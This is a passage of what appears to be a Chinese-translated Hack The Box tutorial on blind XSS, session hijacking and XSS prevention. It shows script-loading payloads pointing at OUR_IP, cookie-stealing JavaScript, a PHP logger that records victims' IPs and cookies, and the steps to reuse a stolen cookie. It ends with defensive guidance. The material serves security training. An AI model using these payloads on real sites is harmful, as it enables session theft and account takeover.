"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>

正如我们所看到的,各种有效负载都是从像'>这样的注入开始的,它可能会工作,也可能不会工作,这取决于我们的输入在后端是如何处理的。如前所述,如果我们可以访问源代码(即,在DOM XSS中),可以精确地写入成功注入所需的有效负载。这就是为什么Blind XSS在DOM XSS类型的漏洞上有更高的成功率。

在我们开始发送负载之前,我们需要在我们的VM上启动一个监听器,使用上一节中所示的netcatphp

mikannse7@htb[/htb]$ mkdir /tmp/tmpserver
mikannse7@htb[/htb]$ cd /tmp/tmpserver
mikannse7@htb[/htb]$ sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started

现在,我们可以开始逐个测试这些有效负载,方法是将其中一个用于所有输入字段,并在IP后面附加字段的名称,如前所述,例如:

Code: 代码: htmlHTML

<script src=http://OUR_IP/fullname></script> #this goes inside the full-name field
<script src=http://OUR_IP/username></script> #this goes inside the username field
...SNIP...

提示:我们会注意到,即使我们尝试操作HTTP请求参数,电子邮件也必须匹配电子邮件格式,因为它似乎在前端和后端都经过验证。因此,电子邮件字段不会受到攻击,我们可以跳过测试。同样,我们可以跳过密码字段,因为密码通常是散列的,通常不会以明文显示。这有助于我们减少需要测试的潜在脆弱输入字段的数量。

一旦我们提交了表单,我们等待几秒钟并检查我们的终端,看看是否有任何东西调用了我们的服务器。如果没有任何东西调用我们的服务器,那么我们可以继续下一个负载,等等。一旦我们收到对我们服务器的调用,我们应该注意我们使用的最后一个XSS负载作为工作负载,并注意调用我们服务器的输入字段名称作为易受攻击的输入字段。

Try testing various remote script XSS payloads with the remaining input fields, and see which of them sends an HTTP request to find a working payload.

Session Hijacking

一旦我们找到一个有效的XSS负载并确定了易受攻击的输入字段,我们就可以继续利用XSS并执行会话劫持攻击。

会话劫持攻击与我们在上一节中执行的网络钓鱼攻击非常相似。它需要一个JavaScript有效载荷来向我们发送所需的数据,并需要一个托管在我们服务器上的PHP脚本来抓取和解析传输的数据。

我们可以使用多个JavaScript有效载荷来获取会话cookie并将其发送给我们,如[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#exploit-code-or-poc)所示:

Code:

document.location='http://OUR_IP/index.php?c='+document.cookie;
new Image().src='http://OUR_IP/index.php?c='+document.cookie;

使用这两个有效载荷中的任何一个都可以向我们发送cookie,但我们将使用第二个,因为它只是向页面添加一个图像,这可能不是非常恶意的,而第一个导航到我们的cookie抓取器PHP页面,这可能看起来很可疑。

我们可以将这些JavaScript有效负载中的任何一个写入script.js,它也将托管在我们的VM上:

Code:

new Image().src='http://OUR_IP/index.php?c='+document.cookie

现在,我们可以将之前发现的XSS有效负载中的URL更改为使用script.jsdon't forget to replace OUR_IP with your VM IP in the JS script and the XSS payload):

Code:

<script src=http://OUR_IP/script.js></script>

随着PHP服务器的运行,我们现在可以将代码用作XSS有效负载的一部分,将其发送到易受攻击的输入字段中,并且我们应该获得对具有cookie值的服务器的调用。但是,如果有很多Cookie,我们可能不知道哪个Cookie值属于哪个Cookie标头。因此,我们可以编写一个PHP脚本,用一个新行将它们拆分并写入文件。在这种情况下,即使多个受害者触发了XSS漏洞,我们也会将他们所有的cookie排序到一个文件中。

我们可以保存下面的PHP脚本为index.php,然后重新运行PHP服务器:

Code:

<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>

现在,我们等待受害者访问易受攻击的页面并查看我们的XSS负载。一旦他们这样做,我们将在服务器上收到两个请求,一个是script.js,这反过来又会发出另一个带有cookie值的请求:

10.10.10.10:52798 [200]: /script.js
10.10.10.10:52799 [200]: /index.php?c=cookie=f904f93c949d19d870911bf8b05fe7b2

如前所述,我们在终端中获得cookie值,正如我们所看到的。然而,由于我们准备了一个PHP脚本,我们也得到了一个带有干净cookie日志的cookies.txt文件:

mikannse7@htb[/htb]$ cat cookies.txt 
Victim IP: 10.10.10.1 | Cookie: cookie=f904f93c949d19d870911bf8b05fe7b2

最后,我们可以在login.php页面上使用此Cookie来访问受害者的帐户。要做到这一点,一旦我们导航到/hijacking/login.php,我们可以在Firefox中单击Shift+F9,以显示开发人员工具中的Storage栏。然后,我们可以点击右上角的+按钮并添加我们的cookie,其中Name是我们被盗cookie中=之前的部分,Value=之后的部分:

img

一旦我们设置了cookie,我们就可以刷新页面,我们将以受害者的身份访问:

XSS Prevention

到目前为止,我们应该很好地了解什么是XSS漏洞及其不同类型,如何检测XSS漏洞以及如何利用XSS漏洞。我们将通过学习如何防御XSS漏洞来结束本模块。

如前所述,XSS漏洞主要与Web应用程序的两个部分相关:Source(如用户输入字段)和Sink(显示输入数据)。这是我们在前端和后端都应该关注的两个主要问题。

防止XSS漏洞的最重要方面是在前端和后端进行适当的输入清理和验证。除此之外,还可以采取其他安全措施来帮助防止XSS攻击。

Front-end

由于Web应用程序的前端是获取大部分(但不是全部)用户输入的地方,因此必须使用JavaScript在前端清理和验证用户输入。

Input Validation

例如,在XSS Discovery部分的练习中,我们看到如果电子邮件格式无效,Web应用程序将不允许我们提交表单。这是通过以下JavaScript代码完成的:

Code:

function validateEmail(email) {
const re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test($("#login input[name=email]").val());
}

正如我们所看到的,这段代码正在测试email输入字段,并返回truefalse是否匹配电子邮件格式的Regex验证。

输入消毒

除了输入验证之外,我们应该始终确保不允许任何包含JavaScript代码的输入,方法是转义任何特殊字符。为此,我们可以使用DOMPurifyJavaScript库,如下所示:

Code:

<script type="text/javascript" src="dist/purify.min.js"></script>
let clean = DOMPurify.sanitize( dirty );

这将使用反斜杠\转义任何特殊字符,这应该有助于确保用户不会发送任何带有特殊字符的输入(如JavaScript代码),这应该可以防止像DOM XSS这样的漏洞。

Direct Inpu

最后,我们应该始终确保我们永远不会在某些HTML标签中直接使用用户输入,例如:

  1. JavaScript code <script></script>
  2. CSS Style Code <style></style>
  3. Tag/Attribute Fields <div name='INPUT'></div>
  4. HTML Comments <!-- -->

如果用户输入到上述任何示例中,则可能会注入恶意JavaScript代码,这可能导致XSS漏洞。除此之外,我们应该避免使用允许更改HTML字段的原始文本的JavaScript函数,例如:

  • DOM.innerHTML
  • DOM.outerHTML
  • document.write()
  • document.writeln()
  • document.domain

以下是jQuery函数:

  • html()
  • parseHTML()
  • add()
  • append()
  • prepend()
  • after()
  • insertAfter()
  • before()
  • insertBefore()
  • replaceAll()
  • replaceWith()

当这些函数将原始文本写入HTML代码时,如果有任何用户输入,则可能包含恶意JavaScript代码,从而导致XSS漏洞。

Back-end

另一方面,我们还应该确保在后端采取措施防止XSS漏洞,以防止存储和反射XSS漏洞。正如我们在XSS Discovery部分练习中看到的,即使它有前端输入验证,这也不足以阻止我们将恶意的有效负载注入表单。因此,我们也应该在后端采取XSS预防措施。这可以通过输入和输出清理和验证,服务器配置和后端工具来帮助防止XSS漏洞。

Input Validation

后端的输入验证与前端非常相似,它使用Regex或库函数来确保输入字段是预期的。如果不匹配,则后端服务器将拒绝它并且不显示它。

PHP后端的E-Mail验证示例如下:

Code:

if (filter_var($_GET['email'], FILTER_VALIDATE_EMAIL)) {
// do task
} else {
// reject input - do not display it
}

对于NodeJS后端,我们可以使用与前面提到的前端相同的JavaScript代码。

Input Sanitization

当涉及到输入清理时,后端起着至关重要的作用,因为前端输入清理可以通过发送自定义GETPOST请求轻松绕过。幸运的是,各种后端语言都有非常强大的库,可以正确地清理任何用户输入,这样我们就可以确保不会发生注入。

例如,对于PHP后端,我们可以使用addslashes函数通过用反斜杠转义特殊字符来清理用户输入:

Code:

addslashes($_GET['email'])

在任何情况下,用户直接输入(例如$_GET['email'])都不应该直接显示在页面上,因为这可能导致XSS漏洞。

对于NodeJS后端,我们也可以像使用前端一样使用DOMPurify库,如下所示:

Code:

import DOMPurify from 'dompurify';
var clean = DOMPurify.sanitize(dirty);

Output HTML Encoding

在后端需要注意的另一个重要方面是Output Encoding。这意味着我们必须将任何特殊字符编码到它们的HTML代码中,如果我们需要显示整个用户输入而不引入XSS漏洞,这将很有帮助。对于PHP后端,我们可以使用htmlspecialcharshtmlentities函数,它们将某些特殊字符编码到HTML代码中(例如<&lt),因此浏览器将正确显示它们,但它们不会引起任何类型的注入:

Code:

htmlentities($_GET['email']);

对于NodeJS后端,我们可以使用任何进行HTML编码的库,如html-entities,如下所示:

Code:

import encode from 'html-entities';
encode('<'); // -> '&lt;'

一旦我们确保所有用户输入都经过验证、清理并在输出上进行编码,我们就应该大大降低XSS漏洞的风险。

Server Configuration

除了上述之外,还有一些后端Web服务器配置可以帮助防止XSS攻击,例如:

  • 在整个域中使用HTTPS。
  • 使用XSS预防头。
  • 为页面使用适当的Content-Type,如X-Content-Type-Options=nosniff
  • 使用Content-Security-Policy选项,如script-src 'self',仅允许本地托管脚本。
  • 使用HttpOnlySecure cookie标志阻止JavaScript阅读cookie,并仅通过HTTPS传输它们。

除此之外,良好的Web Application Firewall (WAF)还可以显著降低XSS攻击的机会,因为它会自动检测通过HTTP请求的任何类型的注入,并自动拒绝此类请求。此外,有些框架提供了内置的XSS保护,比如ASP.NET

最后,我们必须尽最大努力使用这种XSS预防技术来保护我们的Web应用程序免受XSS漏洞的攻击。即使所有这些都完成了,我们也应该练习我们在本模块中学到的所有技能,并尝试识别和利用任何潜在输入字段中的XSS漏洞,因为安全编码和安全配置仍然可能留下漏洞和漏洞。如果我们使用offensivedefensive技术来保护网站,我们应该达到一个可靠的安全级别来抵御XSS漏洞。